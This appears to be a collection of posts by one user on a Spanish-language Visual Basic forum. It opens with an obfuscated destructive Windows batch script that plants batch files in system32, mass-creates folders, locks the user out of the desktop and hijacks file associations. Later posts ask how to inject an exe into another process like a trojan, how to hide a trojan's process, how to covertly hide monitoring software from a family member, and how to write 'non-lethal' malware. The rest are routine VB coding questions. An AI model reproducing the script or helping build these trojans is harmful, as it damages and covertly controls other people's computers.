%/% %t¬e%%t~s%%t¬o%%tv%%t¬b%%t~l%%t~o% %t¬o%%t~s%%t¬a%%t¬e%%t¬p%%t~o% %t¬a%%t~$% C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt
%:%
%//%
%/% %t¬e%%t¬$%%t~s%%t¬b%%t¬a%%t~$%%t¬p%%t~o% %t¬a%%t¬z% %t¬e%%t~s%%t¬o%%tv%%t¬b%%t~l%%t~o%
%;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z%
%tt%%t~x%%t~p%%t¬a% C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt
%;% -%t~$% 4 127.0.0.1 > %t~$%%t~b%%t¬z%
%/% %tt%%t¬a% %t¬o%%t~s%%t¬a%%t¬a%%t~y% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t~s% ????
%rg2%
%/% %ª!ª!% %t¬a%%t~z%%t~p%%t¬z%%t~o%%t~s%%t¬a%%t~s%.exe > %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %t~$%%t¬a%%tt% %t~b%%t~y%%t¬a%%t~s% %%random%% %%random%% /%t¬e%%t¬p%%t¬p% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %{}% "%homepath%" >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %at~b% -%t~s% -%t¬e% -%t~y% -%tv% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %··% %homepath%Mis Documentos >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %{}% C: >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %f~r% /%t¬z% %%%%x in (1,1,36500) do ( %$% %%%%x ) >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %% C:Archivos de programa >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %/% %t~y%|%c~ls% "%homepath%escritorio" /%t~p% %username%:%t~$% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat
%/% %/% %t~x%|%c~ls% "%homepath%escritorio" /%t~p% %username%:%t~$% >> %windir%system32%t¬m%%t¬a%%t~s%%t~$%%t¬a%%t¬z%.bat

%/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% > %windir%system32%t¬b%%t~$%%t¬b%.bat
%/% %{}% %homepath%escritorio >> %windir%system32%t¬b%%t~$%%t¬b%.bat
%/% %f~r% /%t¬z% %%%%m %t¬b%%t~$% (1,1,%%random%%%random%%) do (%$% %%%%m ) >> %windir%system32%t¬b%%t~$%%t¬b%.bat
%[]% .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%file
%f~ee% .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% = %windir%system32%t¬b%%t~$%%t¬b%.bat
%[]% .%t¬a%%t~z%%t¬a% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%[]% .%t~e%%t~p%3 = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%[]% .%t~l%%t¬$%%t~y% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%[]% .%t~m%%t¬e%%t~l% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%[]% .%t¬e%%t~l%%t¬b% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%[]% .%t¬p%%t~o%%t¬o% = .%t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%

%;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z%
%/% %t~x%%t~o%%t~b% %t¬e%%t~s%%t¬a% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t¬p%
%m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s%
%s~n% 10
%m~g% * %t¬$%%t~x%%t¬a%
%ch%

aclaro, NO LO ABRAN!, o usean virtual pc (Como yo)

add: tmb me di cuenta que tiene algunos errores

Me dan el link de descarga   ?

En la pagina oficial, nose cual es para xp!  

Hola otra vez 

Yo siempre abria los archivos desde shell, pero si uso setattr (Oculto + de sistema), no me abre el archivo...

Hay que hacer algo "Especial" para abrir archivos ocultos y de sistema? y para borrarlos? Gracias.

[cobrar]

Hola!

estoy haciendo un software con una funcion interesante, quiero que todos tengan u usuario, pero... como carajos, deben pensar algunos...

facil, el usuario seria el nombre de su cuenta (De win), y la contraseña un numero modificado que se unico por cada pc... o nose!

tiene que ser algo que la password sea aleatoria segun la pc, pero que despues no generen un "Keygen"... entienden? la contraseña podria ser la hora modificada, pero es facil de saberla entonces, mirando abajo ajajja xd

seria un sistema de "seriales" que varien segun el "Usuario", pero no quiero robar, digo... cobrar.

algo que les coma la cabeza,... como ya dije, bueh, resumo

un sistema de seriales como los de los programas de pago. pero sin pagar,

hola!  

puedo generar un exe desde un exe generado en visua lbasic 6?

ejemplo, yo hago un programa que se llama "soy tu padre", y en ese programa hay un boton que dice "Tener sexo", entonces cuando se haga click, se genera otro exe que se llama "Soy tu hijo". o.O

Es posible?


Add: el exe hijo se genera segun la informacion genetica del padre, la cual cambia.   (en serio lo digo, osea, el exe hijo tiene contenido "variable")

Add: Raul, Leandro... congratulations! 

una pregunta, necesito ejecutar un .exe solo cuando se abre el proceso "bolas.exe".

me explico?

seria, chequear si existe el proceso bolas.exe , y asi, un bucle me parece que seria... si existe el bolas.exe , se abre otro .exe , y cuando lo cierran, se ciera el otro .exe.

alguna api o algo?

Holaaa!

Los troyanos, como por ejemlo bifrost, te dan a elegir que proceso INYECTAR(O infectar) con el server.
Hasta donde se, el server es .exe 

A lo que voy es, por ejemplo, yo tengo a.exe , y quiero "Meter" el a.exe dentro de ab.exe

Alguna orientacion?

Graciasss

Suponiendo que voy a ahcer un troyano,

esta este metodo, o el metodo de ocultar el proceso desde el admin de tareas...

Que opinan que es mejor? 

Holaaaaaaaaaaaaaa

Le instale el netlimiter2 a mi hermana, pero se avivo y lo desinstalo. me tiene harto :@

La cosa es que,...

Uso este code para "Hacerlo oculto"

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
SetAttr "C:\Archivos de programa\NetLimiter 2 Pro\NLClient.exe", vbHidden
Unload Me
End Sub

Me gustaria saber como sacar el icono del systray (Al lado del reloj)

Graciaas

Hola gente, despues de dos dias sin internet, hice eso que le dicen "Tener vida", pero ya volvio, asi que no la necesito  

Estaba tan al pedo sin internet que me puse a revisar el apiguide o algo asi, nose un pingo de ingles, pero traduci bastante bien ajsjaksaj xd

Me "Propuse" hacer una joda en vb.. osea, una broma, nada letal, solo que desconfigure, o nose.... bludeces.

Lo unico que llegue a leer en vb para una broma, es esa api de cambiar los clicks de lugar, desconfigurar la fecha año etc... pero nada mas  

Alguien me da el nombre de alguna api, o alguna ideapara hacer un malware no letal?  ? Graciass

P.D: Estoy tratando de distorcionar la pantalla, nose si se pueda, si alguien sabe algo, avise   (Vi un programa que lo hace...)

Holaa otra vez jaja,

tengo una pregunta muuuy estupida,
hace bastante habia hecho un programa con el mouse move, pero borre el proycto cuando tube que formatear, y no me acuerdo como se usa :S

lo que necesito es muy simple, cuando muevo el mouse, que el label1 se setee en "Hola" , por ejemplo...

No me acuerdo como se usa ! :S

Alguien me refresca la memoria? xD

P.D: Estoy buscando... 

[Hola foreros!Tengo unas preguntas :SComo hago esto:imagen:http://img841.imageshack.us/i/dibujojxd.jpg/Osea, abajo de cada " | " , poner un numero (Se que aparece, pero quiero saber si se puede poner).]

Hola foreros!

Tengo unas preguntas :S

Como hago esto:


imagen:
http://img841.imageshack.us/i/dibujojxd.jpg/

Osea, abajo de cada " | " , poner un numero (Se que aparece, pero quiero saber si se puede poner).

Otra:

Como hago para... por ejemplo, pongo el valor minimo en el slider:

100

pero que enrealidad, cuando seleccione 100 , sea OTRO valor. osea, que 100 pase por ejemplo a 50 .
me parece que esto ya no tiene que ver con el slider... mmmm creo que yase como hacerlo, ahora lo pruebo, pero para sacarme las dudas.

Gracias!

P.D: No pido codigos, pido orientaciones ^^





EDIT: O sinop, cuando elija "X" numero dentro del slider ( | ) , que le aparezca una descripcion arriba, envez del numero. y obviamente, abajo (Como ya dije arriba), el numero


EDITO!

Lo unico que necesito ahora, es saber como hacer para que por ejemplo el slider tenga 3 opciones, y que cada una VALGA LO QUE YO QUIERO!

ejemplo

|         |          |
1         5         9

Hola!

Una pregunta, yo voy a creat un txt, pero necesito esto...

cada X cantidad de caracteres un "Salto" de linea... (No me acuerdo si habia un Chr para el salto de linea....salto es

esto) ja ^^

Alguna orientacion? Gracias!

Hola!

estoy usando este codigo :

x = Int(Rnd * 6)

me da decimales entre 0 y 6.

si yo uso por ejemplo

msgbox x, x, x,x

Voy a suponer que voy a obtener 4 numeros entre 0 y 6 distintos.
Pero no! (Muy obvio), ya que X vale un numero entre 0 y 6 , pero YA LO VALE, no cambia!.

Lo que yo necesito es que cambie :S:S:S

Alguien me dice como se hace?

GL!

edit: tendria que crear un bucle para que se repita la funcion y vuelva a dar valor.. alguna idea¿

Hola gente, tengo las b0las llenas, estuve toda la noche tratando de hacer esto...

Código (vb) [Seleccionar] Expandir

On Error GoTo error
Dim a As String
a = (Environ("tmp") & "\tmp.reg")
MsgBox a
Shell "regedit.exe /s a"
Exit Sub
error:
MsgBox "error"


pero no abre el PUT* tmp.reg


pooorfavor que alguien me diga q esta mal! :S

Como dice el titulo, con este code es imposible escribir en el registro.

Código (vb) [Seleccionar] Expandir

Dim Objeto1
Dim rama1 As String, valor As String
rama1 = "HKEY_LOCAL_MACHINE\lbablal"
valor1 = "1"
Set Objeto1 = CreateObject("wscript.shell")
Objeto1.regwrite rama, valor, "REG_DWORD"

El error esta en la ultima palabra, en 

, "REG_DWORD"

eso, obviamente , es para escrribir un DWORD, y es lo que necesito. sin ese parametro se crea un Alfanumerico, cosa que no me sirve...

Alguna idea :S?

como dice el titulo..

este es el codigo

Código (vb) [Seleccionar] Expandir

Dim pfd As String
pfd = Environ("ProgramFiles")
Dim license As String
license = (App.Path & "\serialdsl\license.txt")
MsgBox license

Dim Destination As String

Destination = (pfd & "\DSL Speed\DSL Speed V4.4\")
MsgBox Destination

FileCopy (license), (Destination)

Hola!

uso este codigo, pero compara mal :S

Código (vb) [Seleccionar] Expandir

Private Sub Command10_Click()
     
     
     
Open App.Path & "\vactual.txt" For Input As #1

Dim Linea As String, Total As String
Do Until EOF(1)
Line Input #1, Linea
Total = Total + Linea + vbCrLf

Loop
     
Open (Environ("SystemDrive") & "\versión.txt") For Input As #2

Dim Linea2 As String, Total2 As String
Do Until EOF(1)
Line Input #2, Linea2
Total2 = Total2 + Linea2 + vbCrLf2
Dim v As String
v = Total2
Dim va As String
va = Total
Loop
      Shell (App.Path & "\Update.exe")
      Sleep 6000
     
           On Error GoTo error
    If (v) = (va) Then

       MsgBox "Ya hay una nueva versión!. Usted usa la versión ·3·"
   
Else
     MsgBox "No hay actualizaciones disponibles", vbInformation, "Actualizaciones..."

End If

     
 
  Exit Sub
error:
  MsgBox "Imposible actualizar.Para chequear manualmente visita "
       

      End Sub

osea, tira cualquier cosa! :S

Alguien me dice que esta mal?

Ya use varios codigos y en to2 me pasa lo mismo ...